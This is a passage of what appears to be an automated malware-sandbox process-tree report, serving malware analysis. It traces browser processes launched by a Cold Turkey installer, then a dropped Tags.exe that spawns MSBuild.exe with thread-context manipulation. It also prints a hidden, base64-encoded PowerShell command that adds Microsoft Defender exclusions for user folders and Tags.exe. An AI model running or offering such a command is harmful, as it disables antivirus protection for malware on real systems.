                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.2.883247813\2081441143" -childID 1 -isForBrowser -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 21648 -prefMapSize 233444 -jsInitHandle 872 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {413e7bd1-d000-4a3b-9f7a-e73411054dab} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 2120 19db3d58 tab
                                      8⤵
                                        PID:4024
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.3.1375052848\957632173" -childID 2 -isForBrowser -prefsHandle 2900 -prefMapHandle 2896 -prefsLen 26111 -prefMapSize 233444 -jsInitHandle 872 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a0e38419-46a1-49ad-b684-9db8fa17dbb0} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 2912 f5b258 tab
                                        8⤵
                                          PID:764
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.4.1916691292\115271572" -childID 3 -isForBrowser -prefsHandle 3668 -prefMapHandle 3084 -prefsLen 26170 -prefMapSize 233444 -jsInitHandle 872 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4549ae79-e858-4272-ad33-1bcc397bff38} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 3684 2010d758 tab
                                          8⤵
                                            PID:2632
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.5.108011929\2115318304" -childID 4 -isForBrowser -prefsHandle 3792 -prefMapHandle 3796 -prefsLen 26170 -prefMapSize 233444 -jsInitHandle 872 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2870cc9c-ed28-4cc8-8d00-d6f3986cf53e} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 3780 2010e658 tab
                                            8⤵
                                              PID:1704
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.6.260107075\1662612563" -childID 5 -isForBrowser -prefsHandle 3684 -prefMapHandle 3936 -prefsLen 26170 -prefMapSize 233444 -jsInitHandle 872 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b868a26-55c7-44c5-a177-9185c588d34c} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 4036 2010ef58 tab
                                              8⤵
                                                PID:3036
                                        • C:\Program Files\Cold Turkey\CTHostInstaller.exe
                                          "C:\Program Files\Cold Turkey\CTHostInstaller.exe" firefox false
                                          5⤵
                                          • Executes dropped EXE
                                          PID:3316
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" https://getcoldturkey.com/support/extensions/firefox/
                                            6⤵
                                              PID:3228
                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                "C:\Program Files\Mozilla Firefox\firefox.exe" https://getcoldturkey.com/support/extensions/firefox/
                                                7⤵
                                                • Checks processor information in registry
                                                • Modifies registry class
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3936
                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.0.1815296609\459504875" -parentBuildID 20221007134813 -prefsHandle 1224 -prefMapHandle 1216 -prefsLen 20873 -prefMapSize 233496 -appDir "C:\Program Files\Mozilla Firefox\browser" - {facfa59a-8612-4ae6-8c5e-b327eb3770e2} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 1300 1420a158 gpu
                                                  8⤵
                                                    PID:4112
                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.1.1960595450\1406337206" -parentBuildID 20221007134813 -prefsHandle 1492 -prefMapHandle 1488 -prefsLen 21734 -prefMapSize 233496 -appDir "C:\Program Files\Mozilla Firefox\browser" - {16029082-8b66-4385-9188-4b04bb616933} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 1504 e71058 socket
                                                    8⤵
                                                    • Checks processor information in registry
                                                    PID:4188
                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.2.596144570\429290903" -childID 1 -isForBrowser -prefsHandle 2156 -prefMapHandle 2152 -prefsLen 21772 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce8809c8-53a4-4efa-8da6-ca88f8d02720} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 2168 11764858 tab
                                                    8⤵
                                                      PID:4512
                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.3.491826861\1258011271" -childID 2 -isForBrowser -prefsHandle 2756 -prefMapHandle 2752 -prefsLen 26235 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b15f1bc6-4655-4d7f-baee-c401f9593329} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 2768 1d21fd58 tab
                                                      8⤵
                                                        PID:5324
                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.4.1127906781\1398300679" -childID 3 -isForBrowser -prefsHandle 3348 -prefMapHandle 3356 -prefsLen 26294 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {98d8ec09-a6b8-4507-b937-d6e71a332e0a} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 3312 1f4d5858 tab
                                                        8⤵
                                                          PID:5768
                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.5.1197481925\467863771" -childID 4 -isForBrowser -prefsHandle 3716 -prefMapHandle 3744 -prefsLen 26294 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0bba944f-a23e-41d6-84c6-5fb6b5884954} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 3864 20388858 tab
                                                          8⤵
                                                            PID:1904
                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.6.1054729663\155045288" -childID 5 -isForBrowser -prefsHandle 3436 -prefMapHandle 3448 -prefsLen 26294 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b741d0b6-97ac-4162-9cd9-0fa617c5144a} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 3416 203ddd58 tab
                                                            8⤵
                                                              PID:7304
                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.7.1399316007\61006271" -childID 6 -isForBrowser -prefsHandle 3432 -prefMapHandle 3428 -prefsLen 26294 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {57ed0114-5d19-4cb5-9804-ba7c4f06662b} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 3400 203de058 tab
                                                              8⤵
                                                                PID:8688
                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.8.1650466138\655987447" -childID 7 -isForBrowser -prefsHandle 4128 -prefMapHandle 4132 -prefsLen 26294 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {717f9f81-6ef2-49c3-bfac-e97dc89e72c8} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 4208 203def58 tab
                                                                8⤵
                                                                  PID:8652
                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3936.9.1045967455\1907033447" -childID 8 -isForBrowser -prefsHandle 3992 -prefMapHandle 3988 -prefsLen 26294 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f7a723c-3873-4b38-8bf3-4142eb8f109e} 3936 "\\.\pipe\gecko-crash-server-pipe.3936" 3888 1e798f58 tab
                                                                  8⤵
                                                                    PID:2736
                                                            • C:\Program Files\Cold Turkey\CTHostInstaller.exe
                                                              "C:\Program Files\Cold Turkey\CTHostInstaller.exe" chrome false
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:4176
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getcoldturkey.com/support/extensions/chrome/
                                                                6⤵
                                                                • Enumerates system info in registry
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4244
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef4349758,0x7fef4349768,0x7fef4349778
                                                                  7⤵
                                                                    PID:4276
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1100 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:2
                                                                    7⤵
                                                                      PID:9180
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1512 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:8
                                                                      7⤵
                                                                        PID:5968
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1576 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:8
                                                                        7⤵
                                                                          PID:6004
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2308 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:1
                                                                          7⤵
                                                                            PID:6380
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2316 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:1
                                                                            7⤵
                                                                              PID:6416
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2820 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:2
                                                                              7⤵
                                                                                PID:6924
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3556 --field-trial-handle=1188,i,10670601573120500197,15820122715264057620,131072 /prefetch:8
                                                                                7⤵
                                                                                  PID:4920
                                                                    • C:\Windows\system32\taskeng.exe
                                                                      taskeng.exe {A522BD85-B442-43FA-8346-2DC771EDC81C} S-1-5-21-2248906074-2862704502-246302768-1000:GHPZRGFC\Admin:S4U:
                                                                      1⤵
                                                                        PID:8872
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:8908
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1144
                                                                      • C:\Windows\system32\taskeng.exe
                                                                        taskeng.exe {48A483E6-71F0-48F1-AF96-BE7DB743B738} S-1-5-21-2248906074-2862704502-246302768-1000:GHPZRGFC\Admin:Interactive:[1]
                                                                        1⤵
                                                                          PID:4844
                                                                          • C:\Users\Admin\AppData\Local\Remaining\fgqlvncdq\Tags.exe
                                                                            C:\Users\Admin\AppData\Local\Remaining\fgqlvncdq\Tags.exe
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4880
                                                                            • C:\Users\Admin\AppData\Local\Remaining\fgqlvncdq\Tags.exe
                                                                              "C:\Users\Admin\AppData\Local\Remaining\fgqlvncdq\Tags.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:1508
                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                4⤵
                                                                                • Suspicious use of SetThreadContext
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:3856
                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                  5⤵
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1300
                                                                        • C:\Program Files\Cold Turkey\ServiceHub.Power.exe
                                                                          "C:\Program Files\Cold Turkey\\ServiceHub.Power.exe"
                                                                          1⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Drops file in Program Files directory
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:6636
                                                                          • C:\Program Files\Cold Turkey\Cold Turkey Blocker.exe
                                                                            "C:\Program Files\Cold Turkey\\Cold Turkey Blocker.exe" tray
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:1740
                                                                            • C:\Program Files\Cold Turkey\eowp.exe
                                                                              "C:\Program Files\Cold Turkey\eowp.exe" --enable-speech-input --auto-scan-plugin --lang=en-US --enable-media-stream --no-sandbox --eo_init_data=eo.ipc.temp.1740.1.2
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              PID:1504
                                                                              • C:\Program Files\Cold Turkey\eowp.exe
                                                                                "C:\Program Files\Cold Turkey\eowp.exe" --type=renderer --no-sandbox --service-pipe-token=BFE7DAD4A5ED6162DC10BBAF09C42B54 --lang=en-US --lang=en-US --log-file="C:\Users\Admin\AppData\Local\Temp\debug.log" --log-severity=disable --enable-speech-input --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553 --disable-accelerated-video-decode --disable-gpu-compositing --enable-gpu-async-worker-context --service-request-channel-token=BFE7DAD4A5ED6162DC10BBAF09C42B54 --renderer-client-id=2 --mojo-platform-channel-handle=1448 /prefetch:1 --eo_init_data=eo.temp.1504.1
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                PID:4788
                                                                            • C:\Program Files\Cold Turkey\CTHostInstaller.exe
                                                                              "C:\Program Files\Cold Turkey\CTHostInstaller.exe" chrome false
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              PID:8964
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getcoldturkey.com/support/extensions/chrome/
                                                                                4⤵
                                                                                • Enumerates system info in registry
                                                                                PID:2380
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef4349758,0x7fef4349768,0x7fef4349778
                                                                                  5⤵
                                                                                    PID:1536
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1176 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:2
                                                                                    5⤵
                                                                                      PID:4016
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1468 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:8
                                                                                      5⤵
                                                                                        PID:3716
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1568 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:8
                                                                                        5⤵
                                                                                          PID:3912
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2324 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:1
                                                                                          5⤵
                                                                                            PID:7336
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2332 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:1
                                                                                            5⤵
                                                                                              PID:7172
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1696 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:2
                                                                                              5⤵
                                                                                                PID:5352
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3368 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:1
                                                                                                5⤵
                                                                                                  PID:5580
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3484 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:1
                                                                                                  5⤵
                                                                                                    PID:2512
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=3432 --field-trial-handle=1380,i,14896038589228377902,6047561085365605840,131072 /prefetch:1
                                                                                                    5⤵
                                                                                                      PID:6176
                                                                                                • C:\Program Files\Cold Turkey\CTHostInstaller.exe
                                                                                                  "C:\Program Files\Cold Turkey\CTHostInstaller.exe" firefox false
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:8984
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" https://getcoldturkey.com/support/extensions/firefox/
                                                                                                    4⤵
                                                                                                      PID:5092
                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" https://getcoldturkey.com/support/extensions/firefox/
                                                                                                        5⤵
                                                                                                        • Checks processor information in registry
                                                                                                        • Modifies registry class
                                                                                                        PID:4536
                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.0.895641274\265998661" -parentBuildID 20221007134813 -prefsHandle 1200 -prefMapHandle 1192 -prefsLen 20873 -prefMapSize 233496 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c8c4e379-33e9-43c0-ab3d-3d4fba121bb0} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 1264 117cff58 gpu
                                                                                                          6⤵
                                                                                                            PID:6268
                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.1.1991568425\1173296246" -parentBuildID 20221007134813 -prefsHandle 1468 -prefMapHandle 1464 -prefsLen 21734 -prefMapSize 233496 -appDir "C:\Program Files\Mozilla Firefox\browser" - {19d7ea4e-4a10-4ed7-8279-73798992825b} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 1480 d72558 socket
                                                                                                            6⤵
                                                                                                            • Checks processor information in registry
                                                                                                            PID:6760
                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4536.2.426247436\340997342" -childID 1 -isForBrowser -prefsHandle 1992 -prefMapHandle 892 -prefsLen 21837 -prefMapSize 233496 -jsInitHandle 860 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {106d459f-30eb-48be-b24d-656c32ab9ded} 4536 "\\.\pipe\gecko-crash-server-pipe.4536" 2004 1a259b58 tab
                                                                                                            6⤵
